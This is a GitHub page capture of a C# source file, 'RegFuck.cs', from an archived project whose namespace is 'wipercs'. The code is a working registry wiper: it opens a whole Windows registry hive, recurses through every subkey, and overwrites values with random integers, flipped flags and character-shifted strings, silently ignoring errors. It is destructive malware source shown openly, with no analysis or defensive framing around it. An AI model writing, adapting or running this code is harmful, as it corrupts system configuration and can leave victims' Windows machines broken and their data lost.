This repository has been archived by the owner on Nov 14, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRegFuck.cs
124 lines (111 loc) · 2.97 KB
/
RegFuck.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
namespace wipercs;
using Microsoft.Win32;
public class RegFuck
{
private static int ScrambleValue(int val, int damage)
{
Random randint = new Random();
if (val is 0 or 1)
{
if (randint.Next(0, 100) < damage)
{
return val ^ 1;
}
return val;
}
else
{
return randint.Next(69, 420);
}
}
private static string ScrambleValue(string val, int damage)
{
Random randint = new Random();
if (randint.Next(0, 100) > damage)
{
return val;
}
int inputLength = val.Length;
char[] resultString = new char[inputLength];
for (int i = 0; i < inputLength; i++)
{
resultString[i] = (char)(val[i] + randint.Next(-10, 10));
}
return String.Join(String.Empty, resultString);
}
// see https://learn.microsoft.com/en-us/dotnet/api/microsoft.win32.registryhive?view=net-7.0
private static void _RegFuck(RegistryKey key, int damage)
{
try
{
foreach (var val in key.GetValueNames())
{
RegistryValueKind valueKind = key.GetValueKind(val);
object value = key.GetValue(val);
if (value.GetType() == typeof(int))
{
int iVal = (int)value;
try
{
key.SetValue(val, ScrambleValue(iVal, damage));
}
catch
{
// give up
}
}
else
{
string sVal = (string)value;
try
{
key.SetValue(val, ScrambleValue(sVal, damage));
}
catch
{
// give up
}
}
}
}
catch
{
// give up
}
foreach (var subkey in key.GetSubKeyNames())
{
try
{
using (RegistryKey sk = key.OpenSubKey(subkey, true))
{
try
{
_RegFuck(sk, damage);
}
catch
{
// do nothing (idc)
}
}
}
catch
{
// give up
}
}
}
public static void initRegfuck(RegistryHive hive, int damage)
{
using (RegistryKey root = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64))
{
try
{
_RegFuck(root, damage); //call helper function
}
catch
{
// give up
}
}
}
}